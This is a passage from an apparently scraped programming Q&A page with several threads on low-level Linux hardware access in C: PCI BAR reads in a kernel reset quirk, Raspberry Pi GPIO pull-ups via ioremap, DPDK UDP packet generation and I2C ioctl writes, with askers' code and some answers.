Unable to read PCI BAR from kernel mode - c

I have written some code to probe registers of an AMD Vega from userspace using a mmap of the /sys resource. This is working and I am able to read the register values without any problems. However when I implement the kernel mode version of this, all reads return 0xffffffff. I feel like I am missing something simple as the userspace code is returning expected values, where the kernel code fails to read the registers.
Here is the working userspace code:
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <stdint.h>
#define RES_PATH "/sys/devices/pci0000:40/0000:40:01.3/0000:42:00.0/0000:43:00.0/0000:44:00.0/resource5"
#define RES_SIZE (512*1024)
#define MP0_BASE 0x16000
#define mmMP0_SMN_C2PMSG_33 ((MP0_BASE + 0x61) * 4)
#define mmMP0_SMN_C2PMSG_64 ((MP0_BASE + 0x80) * 4)
#define mmMP0_SMN_C2PMSG_81 ((MP0_BASE + 0x91) * 4)
void * map;
uint32_t _preadl(const char * name, uint32_t reg)
{
uint32_t val = *(uint32_t*)(map + reg);
printf("readl %20s (0x%08x / 0x%08x) = 0x%08x\n", name, reg / 4, reg, val);
return val;
}
#define preadl(x) _preadl(#x, x)
int main(int argc, char * argv[])
{
int fd = open(RES_PATH, O_RDWR | O_SYNC, 0);
map = mmap(NULL, RES_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
printf("mmap = %p\n", map);
preadl(mmMP0_SMN_C2PMSG_33);
preadl(mmMP0_SMN_C2PMSG_64);
preadl(mmMP0_SMN_C2PMSG_81);
return 0;
}
And here is the non working kernel code:
static int reset_amdgpu_vega(struct pci_dev *dev, int probe)
{
#define MP0_BASE 0x16000
#define mmMP0_SMN_C2PMSG_33 ((MP0_BASE + 0x61) * 4)
#define mmMP0_SMN_C2PMSG_64 ((MP0_BASE + 0x80) * 4)
#define mmMP0_SMN_C2PMSG_81 ((MP0_BASE + 0x91) * 4)
resource_size_t mmio_base, mmio_size;
void __iomem *mmio;
int ret;
int i;
uint32_t val;
if (probe)
return 0;
mmio_base = pci_resource_start(dev, 5);
mmio_size = pci_resource_len(dev, 5);
mmio = pci_iomap(dev, 5, 0);
if (mmio == NULL) {
printk(KERN_ERR
"[reset_amdgpu_vega] failed to map the resource\n");
ret = -ENOMEM;
goto out;
}
printk(KERN_INFO "mmio: %llx %llx %lx\n",
mmio_base,
mmio_size,
(uintptr_t)mmio);
printk(KERN_INFO "regs: %08x %08x %08x\n",
mmMP0_SMN_C2PMSG_33,
mmMP0_SMN_C2PMSG_64,
mmMP0_SMN_C2PMSG_81);
printk(KERN_INFO "vals: %08x %08x %08x\n",
ioread32(mmio + mmMP0_SMN_C2PMSG_33),
ioread32(mmio + mmMP0_SMN_C2PMSG_64),
ioread32(mmio + mmMP0_SMN_C2PMSG_81));
pci_iounmap(dev, mmio);
ret = 0;
out:
return ret;
}

The problem was that before the pci reset quirk is called, the kernel turns off the PCI_COMMAND_MEMORY flag on the COMMAND register. By doing so the device is no longer readable. The solution is to re-enable the flag first:
pci_read_config_word(dev, PCI_COMMAND, &cfg);
cfg |= PCI_COMMAND_MEMORY;
pci_write_config_word(dev, PCI_COMMAND, cfg);

Related

Execute mmap on Linux kernel

I'm trying to enable pull-ups on Raspberry pi and the easier way to do it it's executing raspi-gpio set <gpio> <pu/pd>, the problem is that for some reason I can't do it with call_usermodehelper (it doesn't throw any error, but it does nothing).
As an alternative I've been looking at raspi-gpio source code and I have a functional C code that enables pull-ups (this code prints the GPIO CPU and enable GPIO26's pull-ups):
#include <stdio.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <time.h>
// From https://github.com/RPi-Distro/raspi-gpio/blob/master/raspi-gpio.c
#define PULL_UNSET -1
#define PULL_NONE 0
#define PULL_DOWN 1
#define PULL_UP 2
#define GPIO_BASE_OFFSET 0x00200000
#define GPPUD 37
#define GPPUDCLK0 38
uint32_t getGpioRegBase(void) {
const char *revision_file = "/proc/device-tree/system/linux,revision";
uint8_t revision[4] = { 0 };
uint32_t cpu = 0;
FILE *fd;
if ((fd = fopen(revision_file, "rb")) == NULL)
{
printf("Can't open '%s'\n", revision_file);
}
else
{
if (fread(revision, 1, sizeof(revision), fd) == 4)
cpu = (revision[2] >> 4) & 0xf;
else
printf("Revision data too short\n");
fclose(fd);
}
printf("CPU: %d\n", cpu);
switch (cpu) {
case 0: // BCM2835 [Pi 1 A; Pi 1 B; Pi 1 B+; Pi Zero; Pi Zero W]
return 0x20000000 + GPIO_BASE_OFFSET;
case 1: // BCM2836 [Pi 2 B]
case 2: // BCM2837 [Pi 3 B; Pi 3 B+; Pi 3 A+]
return 0x3f000000 + GPIO_BASE_OFFSET;
case 3: // BCM2711 [Pi 4 B]
return 0xfe000000 + GPIO_BASE_OFFSET;
default:
printf("Unrecognised revision code\n");
exit(1);
}
}
volatile uint32_t *getBase(uint32_t reg_base) {
int fd;
if ((fd = open ("/dev/mem", O_RDWR | O_SYNC | O_CLOEXEC) ) < 0) return NULL;
return (uint32_t *)mmap(0, /*chip->reg_size*/ 0x1000,
PROT_READ|PROT_WRITE, MAP_SHARED,
fd, reg_base);
}
void setPull(volatile uint32_t *base, unsigned int gpio, int pull) {
int clkreg = GPPUDCLK0 + (gpio / 32);
int clkbit = 1 << (gpio % 32);
base[GPPUD] = pull;
usleep(10);
base[clkreg] = clkbit;
usleep(10);
base[GPPUD] = 0;
usleep(10);
base[clkreg] = 0;
usleep(10);
}
int main() {
uint32_t reg_base = getGpioRegBase();
volatile uint32_t *base = getBase(reg_base);
if (base == NULL || base == (uint32_t *)-1) {
printf("Base error");
return 1;
}
printf("Base: %p\n", base);
setPull(base, 26, PULL_UP);
return 0;
}
Now obviously I need to convert that code to kernel code. I've been doing great with delays and files, but I have no idea what to do with mmap (I've never seen it before and I don't know exactly what it does, all I know it's that it maps memory).
#include <linux/types.h> // uint_32
#include <linux/fs.h> // filp_open/filp_close
#include <linux/delay.h> // delay
#define PULL_DOWN 1
#define PULL_UP 2
#define GPIO_BASE_OFFSET 0x00200000
#define GPPUD 37
#define GPPUDCLK0 38
static uint32_t getGpioRegBase(bool *error) {
uint8_t revision[4] = { 0 };
uint32_t cpu = 0;
struct file *fd;
ssize_t rc = 0;
if (IS_ERR(( fd = filp_open("/proc/device-tree/system/linux,revision", O_RDONLY | O_SYNC | O_CLOEXEC, 0) ))) {
*error = true;
return 0;
}
if ((rc = kernel_read(fd, revision, sizeof(revision), 0)) == 4) cpu = (revision[2] >> 4) & 0xf;
else {
*error = true;
return 0;
}
filp_close(fd, NULL);
*error = false;
switch (cpu) {
case 0: // BCM2835 [Pi 1 A; Pi 1 B; Pi 1 B+; Pi Zero; Pi Zero W]
return 0x20000000 + GPIO_BASE_OFFSET;
case 1: // BCM2836 [Pi 2 B]
case 2: // BCM2837 [Pi 3 B; Pi 3 B+; Pi 3 A+]
return 0x3f000000 + GPIO_BASE_OFFSET;
case 3: // BCM2711 [Pi 4 B]
return 0xfe000000 + GPIO_BASE_OFFSET;
default:
*error = true;
return 0;
}
}
static volatile uint32_t *getBase(uint32_t reg_base) {
struct file *fd;
volatile uint32_t *r;
if (IS_ERR(( fd = filp_open("/dev/mem", O_RDWR | O_SYNC | O_CLOEXEC, 0) ))) return NULL;
r = (uint32_t*)mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, reg_base);
filp_close(fd, NULL); // TODO the original didn't have this
return r;
}
static void setPull(volatile uint32_t *base, uint32_t gpio, int pull) {
int clkreg = GPPUDCLK0 + (gpio / 32);
int clkbit = 1 << (gpio % 32);
base[GPPUD] = pull;
udelay(10);
base[clkreg] = clkbit;
udelay(10);
base[GPPUD] = 0;
udelay(10);
base[clkreg] = 0;
udelay(10);
}
/**
* Equivalent to 'raspi-gpio set <gpio> <pu/pd>'
* #param gpio Valid GPIO pin
* #param pull PULL_DOWN/PULL_UP
*/
static int setGpioPull(uint32_t gpio, int pull) {
bool error;
uint32_t reg_base;
volatile uint32_t *base;
reg_base = getGpioRegBase(&error);
if (error) return -1;
base = getBase(reg_base);
if (base == NULL || base == (uint32_t*)-1) return -1;
setPull(base, gpio, pull);
return 0;
}
All I've found it's a function declaration (int (*mmap) (struct file *filp, struct vm_area_struct *vma)), but I don't know how to send any of the arguments nor the return value that mmap (caddr_t addr, size_t len, int prot, int flags, int fd, off_t offset) uses.
Thanks in advance!
Mmap was accessing to "/dev/mem", after some more questions I've found that that file connects user-space with kernel-space (and LKM it's on kernel space, so no need to access to it). In this case, ioremap does the job.
Here's the final code:
#include <linux/types.h> // uint_32
#include <linux/fs.h> // filp_open/filp_close
#include <linux/delay.h> // udelay
#include <linux/io.h> // ioremap?
#define PULL_DOWN 1
#define PULL_UP 2
/**
* Equivalent to 'raspi-gpio set <gpio> <pu/pd>'
* #param gpio Valid GPIO pin
* #param pull PULL_DOWN/PULL_UP
*/
static int setGpioPull(uint32_t gpio, int pull);
/****************************
*** PRIVATE FUNCTIONS ***
****************************/
#define GPIO_BASE_OFFSET 0x00200000
#define GPPUD 37
#define GPPUDCLK0 38
static uint32_t getGpioRegBase(bool *error) {
uint8_t revision[4] = { 0 };
uint32_t cpu = 0;
struct file *fd;
ssize_t rc = 0;
if (IS_ERR(( fd = filp_open("/proc/device-tree/system/linux,revision", O_RDONLY | O_SYNC | O_CLOEXEC, 0) ))) {
*error = true;
return 0;
}
if ((rc = kernel_read(fd, revision, sizeof(revision), 0)) == 4) cpu = (revision[2] >> 4) & 0xf;
else {
*error = true;
return 0;
}
filp_close(fd, NULL);
*error = false;
switch (cpu) {
case 0: // BCM2835 [Pi 1 A; Pi 1 B; Pi 1 B+; Pi Zero; Pi Zero W]
return 0x20000000 + GPIO_BASE_OFFSET;
case 1: // BCM2836 [Pi 2 B]
case 2: // BCM2837 [Pi 3 B; Pi 3 B+; Pi 3 A+]
return 0x3f000000 + GPIO_BASE_OFFSET;
case 3: // BCM2711 [Pi 4 B]
return 0xfe000000 + GPIO_BASE_OFFSET;
default:
*error = true;
return 0;
}
}
static void setPull(volatile uint32_t *base, uint32_t gpio, int pull) {
int clkreg = GPPUDCLK0 + (gpio / 32);
int clkbit = 1 << (gpio % 32);
base[GPPUD] = pull;
udelay(10);
base[clkreg] = clkbit;
udelay(10);
base[GPPUD] = 0;
udelay(10);
base[clkreg] = 0;
udelay(10);
}
static int setGpioPull(uint32_t gpio, int pull) {
bool error;
uint32_t reg_base;
volatile uint32_t *base;
reg_base = getGpioRegBase(&error);
if (error) return -1;
base = (uint32_t*)ioremap(reg_base, 0x1000);
if (base == NULL || base == (uint32_t*)-1) return -1;
setPull(base, gpio, pull);
iounmap(base);
return 0;
}

How to generate incremental data value in DPDK

Code image
Hello DPDK Users,
I was trying to generate the incremental data value of UDP packets via DPDK.
But when I am transmitting it, I verified the same frames in Wireshark.
The data part of packets is changing illogically.
No sequence can be seen in data.
It is optimized the data value which I was wrote. The last value i tried to write was there in all the bytes of payload, not as expected in incremental order.
Can anyone help me, why is this occurring and what could be the easiest way to generate incremental DPDK packets?
The Code is given in the image file above.
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <unistd.h>
#include <inttypes.h>
#include<assert.h>
uint64_t temp1;
uint64_t temp2;
int temp3;
int test_type;
double sec;
time_t start_t,end_t;
double diff_t;
#include<time.h>
#include<signal.h>
#include<linux/kernel.h>
#include <rte_memory.h>
#include <rte_launch.h>
#include <rte_eal.h>
#include <rte_per_lcore.h>
#include <rte_lcore.h>
#include <rte_ethdev.h>
#include <rte_udp.h>
#include <rte_tcp.h>
#include <rte_ip.h>
#include <rte_arp.h>
#include <rte_icmp.h>
#include <rte_cycles.h>
#include <rte_lcore.h>
#include <rte_mbuf.h>
#define RX_RING_SIZE 2028
#define TX_RING_SIZE 2048
#define NUM_MBUFS 8191
#define MBUF_CACHE_SIZE 250
#define BURST_SIZE 32
#define UDP_SRC_PORT 6666
#define UDP_DST_PORT 6666
#define TCP_SRC_PORT 6666
#define TCP_DST_PORT 6666
#define IP_DEFTTL 64
#define IP_VERSION 0x40
#define IP_HDRLEN 0x05
#define IP_VHL_DEF (IP_VERSION | IP_HDRLEN)
#define TX_PACKET_LENGTH 64
#define ETHER_MAX_LEN 1518
#if RTE_BYTE_ORDER == RTE_BIG_ENDIAN
#define RTE_BE_TO_CPU_16(be_16_v) (be_16_v)
#define RTE_CPU_TO_BE_16(cpu_16_v) (cpu_16_v)
#else
#define RTE_BE_TO_CPU_16(be_16_v) \
(uint16_t) ((((be_16_v) & 0xFF) << 8) | ((be_16_v) >> 8))
#define RTE_CPU_TO_BE_16(cpu_16_v) \
(uint16_t) ((((cpu_16_v) & 0xFF) << 8) | ((cpu_16_v) >> 8))
#endif
#define rte_ctrlmbuf_data(m) ((char *)((m)->buf_addr)+(m)->data_off)
// convert a quad-dot IP string to uint32_t IP address
uint32_t string_to_ip(char *s) {
unsigned char a[4];
int rc = sscanf(s, "%d.%d.%d.%d",a+0,a+1,a+2,a+3);
if(rc != 4){
fprintf(stderr, "bad source IP address format. Use like: -s 198.19.111.179\n");
exit(1);
}
return
(uint32_t)(a[0]) << 24 |
(uint32_t)(a[1]) << 16 |
(uint32_t)(a[2]) << 8 |
(uint32_t)(a[3]);
}
// convert six colon separated hex bytes string to uint64_t Ethernet MAC address
uint64_t string_to_mac(char *s) {
unsigned char a[6];
int rc = sscanf(s, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
a + 0, a + 1, a + 2, a + 3, a + 4, a + 5);
if(rc !=6 ){
fprintf(stderr, "bad MAC address format. Use like: -m 0a:38:ca:f6:f3:20\n");
exit(1);
}
return
(uint64_t)(a[0]) << 40 |
(uint64_t)(a[1]) << 32 |
(uint64_t)(a[2]) << 24 |
(uint64_t)(a[3]) << 16 |
(uint64_t)(a[4]) << 8 |
(uint64_t)(a[5]);
}
uint64_t DST_MAC;
uint32_t IP_SRC_ADDR,IP_DST_ADDR;
static const struct rte_eth_conf port_conf_default = {
.rxmode = { .max_rx_pkt_len = RTE_ETHER_MAX_LEN }
};
static struct rte_ipv4_hdr pkt_ip_hdr;
static struct rte_udp_hdr pkt_udp_hdr;
struct rte_ether_addr my_addr;
struct rte_mempool *mbuf_pool;
struct rte_data_hdr pkt_data_hdr;
static void setup_pkt_udp_ip_headers(struct rte_ipv4_hdr *ip_hdr,
struct rte_udp_hdr *pudp_hdr,
uint16_t pkt_data_len)
{
uint16_t *ptr16;
uint32_t ip_cksum;
uint16_t pkt_len;
int sizeof_=sizeof(struct rte_udp_hdr);
int sizeof__=sizeof(struct rte_ipv4_hdr);
//initialize udp headers
pkt_len = (uint16_t) (pkt_data_len + sizeof_);
pudp_hdr->src_port = rte_cpu_to_be_16(UDP_SRC_PORT);
pudp_hdr->dst_port = rte_cpu_to_be_16(UDP_DST_PORT);
pudp_hdr->dgram_len = RTE_CPU_TO_BE_16(pkt_len);
pudp_hdr->dgram_cksum = 32; // No udp checksum.
//Initialize IP header.
pkt_len = (uint16_t) (pkt_len + sizeof__);
ip_hdr->version_ihl = IP_VHL_DEF;
ip_hdr->type_of_service = 0;
ip_hdr->fragment_offset = 0;
ip_hdr->time_to_live = IP_DEFTTL;
ip_hdr->next_proto_id = IPPROTO_UDP;
ip_hdr->packet_id = 0;
ip_hdr->total_length = RTE_CPU_TO_BE_16(pkt_len);
ip_hdr->src_addr = rte_cpu_to_be_32(IP_SRC_ADDR);
ip_hdr->dst_addr = rte_cpu_to_be_32(IP_DST_ADDR);
//Compute IP header checksum.
ptr16 = (unaligned_uint16_t*) ip_hdr;
ip_cksum = 0;
ip_cksum += ptr16[0]; ip_cksum += ptr16[1];
ip_cksum += ptr16[2]; ip_cksum += ptr16[3];
ip_cksum += ptr16[4];
ip_cksum += ptr16[6]; ip_cksum += ptr16[7];
ip_cksum += ptr16[8]; ip_cksum += ptr16[9];
//Reduce 32 bit checksum to 16 bits and complement it.
ip_cksum = ((ip_cksum & 0xFFFF0000) >> 16) +
(ip_cksum & 0x0000FFFF);
if (ip_cksum > 65535)
ip_cksum -= 65535;
ip_cksum = (~ip_cksum) & 0x0000FFFF;
if (ip_cksum == 0)
ip_cksum = 0xFFFF;
ip_hdr->hdr_checksum = (uint16_t) ip_cksum;
}
union {
uint64_t as_int;
struct rte_ether_addr as_addr;
} dst_eth_addr;
static void packetsend_withSequence()
{
int counter=1;
int pkt_drop_counter=0;
struct rte_ether_hdr eth_hdr;
struct rte_mbuf *pkt=NULL;
struct rte_mbuf *pkts_burst[1];
struct rte_mbuf *m;
char *data;
char temppacketdata[100];
while(1){
pkt = rte_pktmbuf_alloc(mbuf_pool);
if(pkt == NULL) {printf("trouble at rte_mbuf_raw_alloc\n");}
data = rte_pktmbuf_append(pkt, TX_PACKET_LENGTH);
if(data == NULL ) {printf("trouble at data alloc\n");}
// set up addresses
printf("\n rte_pktmbuf_pkt_len is %d", rte_pktmbuf_pkt_len(pkt));
dst_eth_addr.as_int=rte_cpu_to_be_64(DST_MAC);
rte_ether_addr_copy(&dst_eth_addr,&eth_hdr.d_addr);
rte_ether_addr_copy(&my_addr, &eth_hdr.s_addr);
eth_hdr.ether_type = rte_cpu_to_be_16(RTE_ETHER_TYPE_IPV4);
memset(temppacketdata,0x0,sizeof(temppacketdata));
memcpy(temppacketdata, &eth_hdr,(size_t)sizeof(eth_hdr)); //copy eth header
memcpy(temppacketdata+(size_t)sizeof(eth_hdr), &pkt_ip_hdr,(size_t)sizeof(pkt_ip_hdr)); //copy IP header
memcpy(temppacketdata+(size_t)sizeof(eth_hdr)+(size_t)sizeof(pkt_ip_hdr), &pkt_udp_hdr,(size_t)sizeof(pkt_udp_hdr)); //copy UDP header
memcpy(temppacketdata+(size_t)sizeof(eth_hdr)+(size_t)sizeof(pkt_ip_hdr)+(size_t)sizeof(pkt_udp_hdr), &counter,(size_t)sizeof(counter)); //copy int data
memcpy(data,temppacketdata,rte_pktmbuf_pkt_len(pkt));
pkts_burst[0] = pkt;
const uint16_t nb_tx = rte_eth_tx_burst(0, 0, pkts_burst,1);
if (unlikely(nb_tx < 1))
{
pkt_drop_counter++;
rte_pktmbuf_free(pkt); // This frees chained segs
}
else{
counter++;
printf("%d",nb_tx);
}
if(counter > 1000)
break;
}
printf(" pkt_drop_counter = %d counter =%d",pkt_drop_counter,counter);
}
// Initialize Port
static inline int
port_init(uint16_t port, struct rte_mempool *mbuf_pool)
{
struct rte_eth_conf port_conf = port_conf_default;
const uint16_t rx_rings = 1, tx_rings = 1;
uint16_t nb_rxd = RX_RING_SIZE;
uint16_t nb_txd = TX_RING_SIZE;
int retval;
uint16_t q;
struct rte_eth_dev_info dev_info;
struct rte_eth_txconf txconf;
if (!rte_eth_dev_is_valid_port(port))
return -1;
rte_eth_dev_info_get(port, &dev_info);
if (dev_info.tx_offload_capa & DEV_TX_OFFLOAD_MBUF_FAST_FREE)
port_conf.txmode.offloads |=
DEV_TX_OFFLOAD_MBUF_FAST_FREE;
/* Configure the Ethernet device. */
retval = rte_eth_dev_configure(port, rx_rings, tx_rings, &port_conf);
if (retval != 0)
return retval;
retval = rte_eth_dev_adjust_nb_rx_tx_desc(port, &nb_rxd, &nb_txd);
if (retval != 0)
return retval;
txconf = dev_info.default_txconf;
txconf.offloads = port_conf.txmode.offloads;
//Allocate and set up 1 TX queue
for (q = 0; q < tx_rings; q++) {
retval = rte_eth_tx_queue_setup(port, q, nb_txd,
rte_eth_dev_socket_id(port), &txconf);
if (retval < 0)
return retval;
}
/* Allocate and set up 1 RX queue per Ethernet port. */
for (q = 0; q < rx_rings; q++) {
retval = rte_eth_rx_queue_setup(port, q, nb_rxd,
rte_eth_dev_socket_id(port), NULL, mbuf_pool);
if (retval < 0)
return retval;
}
/* Start the Ethernet port. */
retval = rte_eth_dev_start(port);
if (retval < 0)
return retval;
/* get the port MAC address. */
rte_eth_macaddr_get(port, &my_addr);
printf("Port %u MAC: %02" PRIx8 " %02" PRIx8 " %02" PRIx8
" %02" PRIx8 " %02" PRIx8 " %02" PRIx8 "\n",
port,
my_addr.addr_bytes[0], my_addr.addr_bytes[1],
my_addr.addr_bytes[2], my_addr.addr_bytes[3],
my_addr.addr_bytes[4], my_addr.addr_bytes[5]);
return 0;
}
int main(int argc, char **argv)
{
int ret,c;
uint16_t pkt_data_len;
int mac_flag=0,ip_src_flag=0,ip_dst_flag=0;
ret = rte_eal_init(argc, argv);
if (ret < 0)
rte_panic("Cannot init EAL\n");
argc -= ret;
argv += ret;
while ((c = getopt(argc, argv, "m:s:d:h")) != -1)
switch(c) {
case 'm':
// note, not quite sure why last two bytes are zero, but that is how DPDK likes it
DST_MAC=0ULL;
DST_MAC=string_to_mac(optarg)<<16;
mac_flag=1;
break;
case 's':
IP_SRC_ADDR=string_to_ip(optarg);
ip_src_flag=1;
break;
case 'd':
IP_DST_ADDR=string_to_ip(optarg);
ip_dst_flag=1;
break;
case 'h':
printf("usage -- -m [dst MAC] -s [src IP] -d [dst IP]\n");
exit(0);
break;
}
if(mac_flag==0) {
fprintf(stderr, "missing -m for destination MAC adress\n");
exit(1);
}
if(ip_src_flag==0) {
fprintf(stderr, "missing -s for IP source adress\n");
exit(1);
}
if(ip_dst_flag==0) {
fprintf(stderr, "missing -d for IP destination adress\n");
exit(1);
}
/* Creates a new mempool in memory to hold the mbufs. */
mbuf_pool = rte_pktmbuf_pool_create("MBUF_POOL", NUM_MBUFS,
MBUF_CACHE_SIZE, 0, RTE_MBUF_DEFAULT_BUF_SIZE, rte_socket_id());
if (mbuf_pool == NULL)
rte_exit(EXIT_FAILURE, "Cannot create mbuf pool\n");
// initialize port 0
if (port_init(0,mbuf_pool) != 0)
rte_exit(EXIT_FAILURE, "Cannot init port 0\n");
/* Initialize all ports. */
if (port_init(1, mbuf_pool) != 0)
rte_exit(EXIT_FAILURE, "Cannot init port %"PRIu16 "\n",
1);
pkt_data_len = (uint16_t) (TX_PACKET_LENGTH - (sizeof(struct rte_ether_hdr) +
sizeof(struct rte_ipv4_hdr) +
sizeof(struct rte_udp_hdr)));
setup_pkt_udp_ip_headers(&pkt_ip_hdr, &pkt_udp_hdr, pkt_data_len);
packetsend_withSequence();
// send_packet();
return(0);
}

I2C IOCTL Write Failure

Hey I am trying to write a user space application to move some data to an I2C for an embedded system running PetaLinux, an operating system for embedded Linux, although I do not think that is what is affecting the issue. I am getting a Connection timeout and a segmentation fault.
The function has macros that direct it to write to the first I2C bus. I specify the data that I want to write in main and pass it to i2c_write, which then passes it to i2c_ioctl_write.
Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/i2c.h>
#include <linux/i2c-dev.h>
#include <sys/ioctl.h>
#define I2C_ADAPTER "/dev/i2c-0"
#define I2C_DEVICE 0x00
#define REG_ADDR 0x00
int i2c_ioctl_write (int fd, uint8_t dev, uint8_t regaddr, uint16_t *data)
{
printf("i2c_ioctl_write\n");
int i, j = 0;
int ret;
uint8_t *buf;
buf = malloc(1 + 2 * (sizeof(data) / sizeof(data[0])));
if (buf == NULL) {
return -ENOMEM;
}
printf("\tBuffer Allocation Successful...\n");
buf[j ++] = regaddr;
for (i = 0; i < (sizeof(data) / sizeof(data[0])); i ++) {
buf[j ++] = (data[i] & 0xff00) >> 8;
buf[j ++] = data[i] & 0xff;
}
printf("\tBuffer Setup Successful...\n");
struct i2c_msg messages[] = {
{
.addr = dev,
.buf = buf,
.len = sizeof(buf) / sizeof(buf[0]),
},
};
printf("\tSetup I2C Messages...\n");
struct i2c_rdwr_ioctl_data payload = {
.msgs = messages,
.nmsgs = sizeof(messages) / sizeof(messages[0]),
};
printf("\tSetup I2C IOCTL Payload...\n");
ret = ioctl(fd, I2C_RDWR, &payload);
printf("\tWrote with IOCTL...\n");
if (ret < 0) {
ret = -errno;
}
free (buf);
return ret;
}
int i2c_ioctl_smbus_write (int fd, uint8_t dev, uint8_t regaddr, uint16_t *data)
{
printf("i2c_ioctl_smbus_write\n");
int i, j = 0;
int ret;
uint8_t *buf;
buf = malloc(2 * (sizeof(data) / sizeof(data[0])));
if (buf == NULL) {
return -ENOMEM;
}
for (i = 0; i < (sizeof(data) / sizeof(data[0])); i ++) {
buf[j ++] = (data[i] & 0xff00) >> 8;
buf[j ++] = data[i] & 0xff;
}
struct i2c_smbus_ioctl_data payload = {
.read_write = I2C_SMBUS_WRITE,
.size = I2C_SMBUS_WORD_DATA,
.command = regaddr,
.data = (void *) buf,
};
ret = ioctl (fd, I2C_SLAVE_FORCE, dev);
if (ret < 0)
{
ret = -errno;
goto exit;
}
ret = ioctl (fd, I2C_SMBUS, &payload);
if (ret < 0)
{
ret = -errno;
goto exit;
}
exit:
free(buf);
return ret;
}
int i2c_write (int fd, uint8_t dev, uint8_t regaddr, uint16_t *data)
{
printf("i2x_write\n");
uint64_t funcs;
if (ioctl(fd, I2C_FUNCS, &funcs) < 0) {
return -errno;
}
if (funcs & I2C_FUNC_I2C) {
return i2c_ioctl_write (fd, dev, regaddr, data);
} else if (funcs & I2C_FUNC_SMBUS_WORD_DATA) {
return i2c_ioctl_smbus_write (fd, dev, regaddr, data);
} else {
return -ENOSYS;
}
}
int main (int argc, char *argv[])
{
printf("main\n");
uint8_t regaddr;
int fd;
int ret = 0;
uint16_t data[] = {1, 2, 4};
fd = open(I2C_ADAPTER, O_RDWR | O_NONBLOCK);
ret = i2c_write(fd, I2C_DEVICE, REG_ADDR, data);
close(fd);
if (ret) {
fprintf (stderr, "%s.\n", strerror(-ret));
}
free(data);
return ret;
}
When I run the program on QEMU I get the following output:
main
i2x_write
i2c_ioctl_write
Buffer Allocation Successful...
Buffer Setup Successful...
Setup I2C Messages
Setup I2C IOCTL Payload
cdns-i2c e0004000.i2c: timeout waiting on completion
Wrote with IOCTL
Connection timed out.
Segmentation fault
I assume it is failing on the line
ret = ioctl(fd, I2C_RDWR, &payload);
but I am not sure why. Was the payload constructed improperly?
Update: Here is the current code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/i2c.h>
#include <linux/i2c-dev.h>
#include <sys/ioctl.h>
#define I2C_ADAPTER "/dev/i2c-0"
#define I2C_DEVICE 0x00
int main (int argc, char *argv[])
{
int fd;
int ret = 0;
fd = open(I2C_ADAPTER, O_RDWR | O_NONBLOCK);
uint64_t funcs;
int addr = 0X00;
if (ioctl(fd, I2C_SLAVE, addr) < 0) {
/* ERROR HANDLING; you can check errno to see what went wrong */
printf("Cannot setup as slave");
exit(1);
}
if (ioctl(fd, I2C_FUNCS, &funcs) < 0) {
printf("ioctl failed");
return -errno;
}
printf("funcs & I2C_FUNC_I2C: %llu\n", funcs & I2C_FUNC_I2C);
printf("funcs & I2C_FUNC_SMBUS_WORD_DATA: %llu\n", funcs & I2C_FUNC_SMBUS_WORD_DATA);
__u8 reg = 0x10;
__s32 res;
if (funcs & I2C_FUNC_I2C) {
char buf[10];
printf("Attempting to write to I2C bus via I2C protocol...\n");
buf[0] = reg;
buf[1] = 0x43;
buf[2] = 0x65;
int bytes_written = write(fd, buf, 3);
if(bytes_written != 3) {
printf("Wrote %d bytes", bytes_written);
printf("\tFailed to write to I2C Bus\n");
close(fd);
return -1;
}
else {
printf("\tSuccesful write to I2C Bus\n");
}
char buf2[10];
printf("Attempting to read from I2C bus via I2C protocol...\n");
if(read(fd, buf2, 1) != 1) {
printf("\tFailed to do I2C read from Bus\n");
close(fd);
return -1;
}
else {
printf("\tRead successful. Comparing read results from original write buffer...");
printf("\t\tWritten value: %c", buf[0]);
printf("\t\tRead value: %c", buf2[0]);
}
return 0;
} else if (funcs & I2C_FUNC_SMBUS_WORD_DATA) {
printf("Attempting to write to I2C bus via SMBus protocol...\n");
//res = i2c_smbus_write_word_data(fd, REG_ADDR, 0x6543);
res = 1;
if(res < 0) {
printf("\tFailed to write to I2C Bus\n");
close(fd);
return -1;
}
else {
printf("\tSuccesful write to I2C Bus\n");
}
//res = i2c_smbus_read_word_data(fd, REG_ADDR);
if(res < 0) {
printf("\tFailed to read from I2C Bus\n");
close(fd);
return -1;
}
else {
printf("\tRead successful. Comparing read results from original write buffer...");
printf("\t\tWritten value: %c", 0x6543);
printf("\t\tRead value: %c", res);
}
} else {
printf("Cannot write to I2C");
return -ENOSYS;
}
close(fd);
if (ret) {
fprintf (stderr, "%s.\n", strerror(-ret));
}
return ret;
}
I was able to get rid of the seg fault by removing free(), so thanks there. I have pinpointed the exact issue of the timeout which occurs in the Cadence I2C Driver here:
https://github.com/Xilinx/linux-xlnx/blob/3f3c7b60919d56119a68813998d3005bca501a40/drivers/i2c/busses/i2c-cadence.c#L825
which is still occurring.
As mentioned, there is probably some issue with the way I am writing to slave causing the slave to not send ACK, resulting in a timeout. I am not sure which registers I will need to write what to. I have a feeling the I2C_DEVICE macro and addr and reg variables will need to be changed.
cdns-i2c e0004000.i2c: timeout waiting on completion
It seems that i2c driver (cdns-i2s) doesnt recieves the acknowledgment from the slave. It may occur as you are using I2C-slave address as 0x00 which is a general call address. While using general call address the second byte that is sent has a special purpose which is mentioned in the i2c-specification (section 3.1.13).
If you use general call address you need to follow the specification or else Try using the exact i2c slave address instead of general call address(0x00).

WRITE and READ memory mapped device registers in Linux on ARM

I am trying to read and write registers on my ARM9 (SAM9X25) following those steps : http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.faqs/ka3750.htmlI ended with the following code :
#include "stdio.h"
#define PIO_WPMR_BANK_D 0xFFFFFAE4 // PIO Write Protection Mode Register Bank D
